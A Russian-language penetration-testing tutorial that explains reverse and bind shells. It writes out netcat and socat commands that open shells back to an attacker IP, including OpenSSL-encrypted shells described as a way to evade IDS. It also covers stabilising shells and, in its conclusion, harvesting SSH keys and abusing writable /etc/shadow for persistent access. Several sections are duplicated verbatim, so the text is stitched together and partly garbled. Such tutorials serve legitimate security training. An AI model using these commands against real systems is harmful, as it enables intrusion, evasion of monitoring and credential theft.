Shell. Погружение.

Shell. Погружение.

EAGER7|C0RS

Введение в отправку и получение reverse/bind-шеллов при эксплуатации целевых машин.

Прежде чем перейти к тонкостям отправки и получения шеллов, важно понять, что такое шелл на самом деле. В самых простых терминах, шелл (оболочка) - это то, что мы используем при взаимодействии с командной строкой (CLI). Другими словами, распространенные программы bash или sh в Linux являются примерами оболочек (шеллов), так же как cmd.exe и Powershell в Windows. При работе с удаленными системами иногда можно заставить приложение, запущенное на сервере (например, веб-сервер), выполнить произвольный код. Когда это происходит, мы хотим использовать этот начальный доступ для получения оболочки, запущенной на целевой системе.

Проще говоря, мы можем заставить удаленный сервер либо передать нам доступ к командной строке сервера (reverse shell), либо открыть порт на сервере, к которому мы можем подключиться для выполнения дальнейших команд (bind shell).

Тулзы

Существует ряд инструментов, которые мы будем использовать для получения reverse shell и отправки bind shell. В общих чертах, нам нужен вредоносный shell-код, а также способ взаимодействия с полученным шеллом. Ниже мы вкратце обсудим каждый из них:

  • Netcat - "швейцарский армейский нож" для работы в сети. Он используется для ручного выполнения всех видов сетевых взаимодействий, включая захват баннеров, но, что более важно для наших целей, он может использоваться для получения reverse shell и подключения к удаленным портам, в свою очередь подключенным к bind shell на целевой системе. По умолчанию оболочки Netcat очень нестабильны (их легко потерять), но их можно улучшить с помощью техник, которые мы рассмотрим ниже.
  • Socat - это как netcat на стероидах. Он может делать все то же самое и даже больше. Оболочки Socat обычно более стабильны, чем оболочки netcat. В этом смысле он значительно превосходит netcat. Однако есть две небольшие загвоздки: синтаксис сложнее, а также Socat очень редко устанавливается по умолчанию, в то время как Netcat идет "из коробки" практически с любым дистрибутивом Linux. И Socat, и Netcat имеют версии .exe для использования в Windows.
  • Metasploit - полагаю, не нуждается в представлении ;) Модуль auxiliary/multi/handler, как и socat и netcat, используется для получения обратных шеллов. Благодаря тому, что multi/handler является частью фреймворка Metasploit, он предоставляет полноценный способ получения стабильных шеллов с широким набором дополнительных опций для улучшения полученного шелла. Это также единственный способ взаимодействия с оболочкой meterpreter и самый простой способ работы с поэтапными полезными нагрузками.

Помимо инструментов, которые мы уже рассмотрели, есть несколько репозиториев шеллов на разных языках. Один из наиболее известных из них - Payloads all the Things. Также часто используется PentestMonkey Reverse Shell Cheatsheet. В дополнение к этим онлайн-ресурсам, Kali Linux также поставляется с предустановленным набором веб-шеллов, расположенных по адресу /usr/share/webshells. Репозиторий SecLists, хотя и используется в основном для списков слов, также содержит очень полезный код для получения шеллов.

Типы шеллов

В общих чертах нас интересует 2 вида шелла (оболочки), когда мы говорим об эксплуатации цели: reverse (обратный) и bind (связанный).

  • Reverse shell - когда цель заставляют выполнить код, который подключается обратно к вашему компьютеру. На своем компьютере вы используете один из инструментов, упомянутых в предыдущей части статьи, для настройки "слушателя", который будет использоваться для получения соединения. Обратные оболочки являются хорошим способом обойти правила брандмауэра, которые могут помешать вам подключиться к произвольным портам на целевой машине. Однако недостатком является то, что при получении оболочки от машины через интернет, вам нужно будет настроить свою собственную сеть на прием оболочки (решить вопрос с белым IP, например, через ngrok)
  • Bind shell - это когда код, выполняемый на цели, используется для запуска "слушателя", подключенного к оболочке (например, bash) непосредственно на цели. "Слушатель" открывает внешний порт на атакуемой машине, к которому мы можем подключиться, и, таким образом, получить удаленное выполнение кода. Преимущество этого способа в том, что он не требует никакой настройки вашей собственной сети, но может быть предотвращен брандмауэрами, защищающими цель.

Пример reverse shell с помошью Netcat

Для получения reverse shell сначала запустим "слушатель" на атакующей машине:

sudo nc -lvnp <PORT>

  • -l - запускает netcat в режиме "слушателя" (listener).
  • -v - запрашивает подробный вывод (verbose).
  • -n - указывает netcat не разрешать имена хостов и не использовать DNS.
  • -p - указывает, что последует спецификация порта.

На целевой машине запустим один из вариантов получения шелла - netcat с аргументом запуска оболочки bash:

nc <ATTACKER-IP> <PORT> -e /bin/bash

Типы шеллов

В общих чертах нас интересует 2 вида шелла (оболочки), когда мы говорим об эксплуатации цели: reverse (обратный) и bind (связанный).

  • Reverse shell - когда цель заставляют выполнить код, который подключается обратно к вашему компьютеру. На своем компьютере вы используете один из инструментов, упомянутых в предыдущей части статьи, для настройки "слушателя", который будет использоваться для получения соединения. Обратные оболочки являются хорошим способом обойти правила брандмауэра, которые могут помешать вам подключиться к произвольным портам на целевой машине. Однако недостатком является то, что при получении оболочки от машины через интернет, вам нужно будет настроить свою собственную сеть на прием оболочки (решить вопрос с белым IP, например, через ngrok)
  • Bind shell - это когда код, выполняемый на цели, используется для запуска "слушателя", подключенного к оболочке (например, bash) непосредственно на цели. "Слушатель" открывает внешний порт на атакуемой машине, к которому мы можем подключиться, и, таким образом, получить удаленное выполнение кода. Преимущество этого способа в том, что он не требует никакой настройки вашей собственной сети, но может быть предотвращен брандмауэрами, защищающими цель.

Пример reverse shell с помошью Netcat

Для получения reverse shell сначала запустим "слушатель" на атакующей машине:

sudo nc -lvnp <PORT>

  • -l - запускает netcat в режиме "слушателя" (listener).
  • -v - запрашивает подробный вывод (verbose).
  • -n - указывает netcat не разрешать имена хостов и не использовать DNS.
  • -p - указывает, что последует спецификация порта.

На целевой машине запустим один из вариантов получения шелла - netcat с аргументом запуска оболочки bash:

nc <ATTACKER-IP> <PORT> -e /bin/bash

На скрине выше слева представлена атакующая машина, справа - целевая. Сначала запускаем слушатель на атакующей машине, после выполняем команду на целевой. В результате выполенения команды на атакующую машину прилетает соединение с целевой. В реальной жизни подобные команды вы, скорее всего, будете вводить в каком-то уязвимом мете веб-сайта. Важно заметить, что в данном случае мы прослушиваем порт на собственной машине, куда мы принимаем соединение с целевой, это и есть концепция обратного шелла.

Пример bind shell с помошью Netcat

Bind шеллы не так распространены, но все же очень полезны. В случае bind shell сначала мы запускаем слушатель с оболочкой на целевой машине. Далее, когда слушатель запушен, мы подключаемся с нашей машины к только что открытому нами порту. Простая загрузка php web-shell является примером bind shell, так как для исполнения кода мы должны запустить наш файл на целевой машине (обычно запросом GET, это и есть наш "слушатель"), и, будучи подключенными по 80 или 443 порту к машине (наш браузер), мы выполняем команды и просматриваем результат.

Рассмотрим пример получения bind shell к windows-машине.

На целевой машине запутим "слушатель":

nc -lvnp <port> -e "cmd.exe"

После этого подключимся со своей машины к открытому порту:

nc TARGET-MACHINE_IP <port>

На скрине ниже слева - атакующая машина, справа - целевая

В данном случае мы запускаем слушатель и выполнение команд на целевой машине, а с атакующей просто подключаемся к целевой, на которой мы открыли порт с помощью netcat. В этом состоит концепция bind shell.

Интерактивность

Последняя концепция, актуальная в данном вопросе, - это интерактивность. Шеллы могут быть как интерактивными, так и неинтерактивными.

  • Интерактивный

Если вы использовали Powershell, Bash, Zsh, sh или любую другую стандартную среду CLI, то вы привыкли к интерактивным оболочкам. Они позволяют взаимодействовать с программами после их выполнения. Например, возьмем приглашение на вход в систему SSH. Программа интерактивно просит пользователя ввести "да" или "нет", а далее и пароль, чтобы продолжить соединение. Это интерактивная программа, для выполнения которой требуется интерактивный шелл.

  • Неинтерактивный

В неинтерактивной оболочке вы ограничены использованием программ, которые не требуют взаимодействия с пользователем для корректной работы. Неинтерактивными являются большинство простых шеллов (в частности, php web-shell). Например, команда whoami не является интерактивной, поэтому результат ее выполнения отобразится в любом шелле. Однако, если мы снова возьмем программу ssh - она не будет работать в неинтерактивном сеансе, так как подразумевает взаимодействие с пользователем.

Стабилизация оболочки в Netcat

Ок, мы поймали коннект реверс шелла или же сами подключились к оболочке с помощью Netcat, но что дальше?

По умолчанию эти оболочки очень нестабильны. Нажатие Ctrl + C убивает всю оболочку. Они неинтерактивны и часто имеют странные ошибки форматирования. Это происходит из-за того, что "оболочки" netcat на самом деле являются процессами, запущенными внутри терминала, а не полноценными терминалами сами по себе. К счастью, существует множество способов стабилизировать работу оболочек netcat в системах Linux. Здесь мы рассмотрим две из них. Стабилизация обратных оболочек Windows, как правило, значительно сложнее. Однако вторая техника, которую мы здесь рассмотрим, особенно полезна для этого.

Техника 1: Python

Первая техника, которую мы будем обсуждать, применима только к Linux, поскольку на них почти всегда по умолчанию установлен Python. Этот процесс состоит из трех этапов:

  1. Первое, что нужно сделать, это использовать python -c 'import pty;pty.spawn("/bin/bash")',который использует Python для создания более функциональной оболочки bash; обратите внимание, что для некоторых целей может потребоваться указанная версия Python. В этом случае замените python на python3. Теперь наша оболочка будет выглядеть немного красивее, но мы по-прежнему не сможем использовать автозаполнение вкладки или клавиши со стрелками, а Ctrl + C по-прежнему будет убивать оболочку.
  2. export TERM=xterm - это даст нам доступ к командам терминала, таким как clear.
  3. Наконец (и это самое главное) мы завершим работу оболочки с помощью Ctrl + Z. Вернувшись в собственный терминал, мы используем stty raw -echo; fg. Это делает две вещи: во-первых, отключает эхо нашего собственного терминала (что дает нам доступ к автозавершению табуляции, клавишам со стрелками и Ctrl + C для уничтожения процессов). Затем он переводит оболочку в фоновый режим, завершая тем самым процесс.

Полную технику можно посмотреть на скрине:

В конце мы запустили команду ssh на удаленной машине, чтобы показать, что наш шелл стал интерактивным и мы можем запускать любые программы, требующие взаимодействия с пользователем.

Техника 2: rlwrap

rlwrap - это программа, которая, говоря простым языком, предоставляет нам доступ к истории, автозавершению вкладок и клавишам со стрелками сразу после получения оболочки. Однако, чтобы иметь возможность использовать Ctrl + C внутри оболочки, необходимо использовать некоторую ручную стабилизацию. rlwrap не установлен по умолчанию на Kali, поэтому сначала установите его с помощью sudo apt install rlwrap.

Чтобы использовать rlwrap, мы вызываем слушатель немного иным способом:

rlwrap nc -lvnp <port>

Добавив к нашему слушателю netcat команду "rlwrap", мы получим гораздо более функциональную оболочку. Эта техника особенно полезна при работе с оболочками Windows, которые трудно стабилизировать. При работе с Linux можно полностью стабилизировать оболочку, используя тот же трюк, что и в третьем шаге предыдущей техники: переведите оболочку в фоновый режим с помощью Ctrl + Z, затем используйте stty raw -echo; fg для стабилизации и повторного входа в оболочку.

Reverse shell с помощью Socat

Socat похож на netcat в некоторых отношениях, но принципиально отличается во многих других. Проще всего представить себе socat как соединитель между двумя точками. В рамках нашей статьи это будет прослушиваемый порт и клавиатура, однако это может быть и порт прослушивания, и файл, или даже два прослушиваемых порта. Все, что делает socat, это обеспечивает связь между двумя точками.

Преимущество socat перед netcat в вопросах работы с шеллом в том, что в случае, если на целевой машине нет доступа к netcat, мы можем скачать бинарный файл socat с Github через wget и запустить.

Синтаксис socat намного сложнее, чем синтаксис netcat. Одно из наиболее мощных применений Socat - полностью стабильный reverse shell tty для Linux. Это будет работать только в том случае, если целью является Linux, но значительно более стабильно.

Запутим слушатель на атакующей машине:

socat TCP-L:<port> FILE:`tty`,raw,echo=0

Это примерно эквивалентно использованию трюка Ctrl + Z, stty raw -echo; fg с оболочкой netcat - с дополнительным бонусом в виде немедленной стабильности и подключения к полному tty.

К этому специальному слушателю мы должны подключиться с помощью очень специфической команды socat для стабильного шелла. Это означает, что на целевой машине должен быть установлен socat. На большинстве машин socat не установлен по умолчанию, однако можно загрузить, как я упоминал выше.

Специальная команда, которую мы должны выполнить в Socat на целевой машине:

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Первая часть проста - мы связываемся со слушателем, запущенным на нашей собственной машине. Вторая часть команды создает интерактивную сессию bash: "bash -li". Мы также передаем аргументы: pty, stderr, sigint, setsid и sane:

  • pty, выделяет псевдотерминал на цели - часть процесса стабилизации
  • stderr, гарантирует, что любые сообщения об ошибках будут отображаться в оболочке (частая проблема с неинтерактивными оболочками)
  • sigint, передает любые команды Ctrl + C в подпроцесс, что позволяет нам убивать команды внутри оболочки
  • setsid, создает процесс в новом сеансе
  • sane, стабилизирует терминал, пытаясь его «нормализовать»

Зашифрованный shell через Socat

Одна из многих замечательных особенностей socat заключается в том, что он способен создавать зашифрованные оболочки. Зашифрованные оболочки невозможно прослушать, если у вас нет ключа расшифровки, и в результате таким образом удается обойти IDS. Приступим:

Сначала нам нужно сгенерировать сертификат, чтобы использовать зашифрованные оболочки. Это проще всего сделать на нашей атакующей машине:

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

Эта команда создает 2048-битный RSA-ключ с соответствующим файлом cert, самоподписанный и действительный чуть меньше года. Когда вы запустите эту команду, она попросит вас заполнить информацию о сертификате. Ее можно оставить пустой или заполнить произвольно.

Затем нам нужно объединить два созданных файла в один файл .pem:

cat shell.key shell.crt > shell.pem

Запустим наш слушатель (на машине атакующего):

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

verify=0 указывает соединению не пытаться проверить, что наш сертификат был должным образом подписан признанным органом. Обратите внимание, что сертификат должен использоваться на том устройстве, которое будет прослушивать.

На машине жертвы запускаем socat https shell:

socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

В конце мы запустили команду ssh на удаленной машине, чтобы показать, что наш шелл стал интерактивным и мы можем запускать любые программы, требующие взаимодействия с пользователем.

Техника 2: rlwrap

rlwrap - это программа, которая, говоря простым языком, предоставляет нам доступ к истории, автозавершению вкладок и клавишам со стрелками сразу после получения оболочки. Однако, чтобы иметь возможность использовать Ctrl + C внутри оболочки, необходимо использовать некоторую ручную стабилизацию. rlwrap не установлен по умолчанию на Kali, поэтому сначала установите его с помощью sudo apt install rlwrap.

Чтобы использовать rlwrap, мы вызываем слушатель немного иным способом:

rlwrap nc -lvnp <port>

Добавив к нашему слушателю netcat команду "rlwrap", мы получим гораздо более функциональную оболочку. Эта техника особенно полезна при работе с оболочками Windows, которые трудно стабилизировать. При работе с Linux можно полностью стабилизировать оболочку, используя тот же трюк, что и в третьем шаге предыдущей техники: переведите оболочку в фоновый режим с помощью Ctrl + Z, затем используйте stty raw -echo; fg для стабилизации и повторного входа в оболочку.

Reverse shell с помощью Socat

Socat похож на netcat в некоторых отношениях, но принципиально отличается во многих других. Проще всего представить себе socat как соединитель между двумя точками. В рамках нашей статьи это будет прослушиваемый порт и клавиатура, однако это может быть и порт прослушивания, и файл, или даже два прослушиваемых порта. Все, что делает socat, это обеспечивает связь между двумя точками.

Преимущество socat перед netcat в вопросах работы с шеллом в том, что в случае, если на целевой машине нет доступа к netcat, мы можем скачать бинарный файл socat с Github через wget и запустить.

Синтаксис socat намного сложнее, чем синтаксис netcat. Одно из наиболее мощных применений Socat - полностью стабильный reverse shell tty для Linux. Это будет работать только в том случае, если целью является Linux, но значительно более стабильно.

Запутим слушатель на атакующей машине:

socat TCP-L:<port> FILE:`tty`,raw,echo=0

Это примерно эквивалентно использованию трюка Ctrl + Z, stty raw -echo; fg с оболочкой netcat - с дополнительным бонусом в виде немедленной стабильности и подключения к полному tty.

К этому специальному слушателю мы должны подключиться с помощью очень специфической команды socat для стабильного шелла. Это означает, что на целевой машине должен быть установлен socat. На большинстве машин socat не установлен по умолчанию, однако можно загрузить, как я упоминал выше.

Специальная команда, которую мы должны выполнить в Socat на целевой машине:

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Первая часть проста - мы связываемся со слушателем, запущенным на нашей собственной машине. Вторая часть команды создает интерактивную сессию bash: "bash -li". Мы также передаем аргументы: pty, stderr, sigint, setsid и sane:

  • pty, выделяет псевдотерминал на цели - часть процесса стабилизации
  • stderr, гарантирует, что любые сообщения об ошибках будут отображаться в оболочке (частая проблема с неинтерактивными оболочками)
  • sigint, передает любые команды Ctrl + C в подпроцесс, что позволяет нам убивать команды внутри оболочки
  • setsid, создает процесс в новом сеансе
  • sane, стабилизирует терминал, пытаясь его «нормализовать»

Зашифрованный shell через Socat

Одна из многих замечательных особенностей socat заключается в том, что он способен создавать зашифрованные оболочки. Зашифрованные оболочки невозможно прослушать, если у вас нет ключа расшифровки, и в результате таким образом удается обойти IDS. Приступим:

Сначала нам нужно сгенерировать сертификат, чтобы использовать зашифрованные оболочки. Это проще всего сделать на нашей атакующей машине:

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

Эта команда создает 2048-битный RSA-ключ с соответствующим файлом cert, самоподписанный и действительный чуть меньше года. Когда вы запустите эту команду, она попросит вас заполнить информацию о сертификате. Ее можно оставить пустой или заполнить произвольно.

Затем нам нужно объединить два созданных файла в один файл .pem:

cat shell.key shell.crt > shell.pem

Запустим наш слушатель (на машине атакующего):

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

verify=0 указывает соединению не пытаться проверить, что наш сертификат был должным образом подписан признанным органом. Обратите внимание, что сертификат должен использоваться на том устройстве, которое будет прослушивать.

На машине жертвы запускаем socat https shell:

socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

Эта техника также будет работать с оболочкой TTY. Запустим слушатель с поддержкой TTY на машине атакующего:

socat OPENSSL-LISTEN:<PORT>,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0

Подключимся к созданному нами слушателю с поддержкой TTY:

socat OPENSSL:<OUR-IP>:<PORT>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Заключение

Мы рассмотрели множество способов создания, отправки и получения оболочек. Конечно, такой шелл будет гораздо менее стабилен, чем подключение по SSH, поэтому, в идеале, после установления соединения одним из указанных выше способов соединения рекомендуется проверить путь /home/<user>/.ssh на наличие ключей. Это даст нам самый стабильный вариант оболочки. Некоторые эксплойты также позволяют добавить собственную учетную запись. В частности, что-то вроде Dirty C0w или доступные для записи /etc/shadow или /etc/passwd быстро дадут вам SSH-доступ к машине при условии, что SSH открыт. Также существую другие способы получения шелла с помощью С2-фреймворков, например, Metasploit, Cobalt Strike и тд, но их рассмотрение уже выходит за рамки данной статьи.

На связи был C0RS, проект E7. До новых встреч! :)






Report Page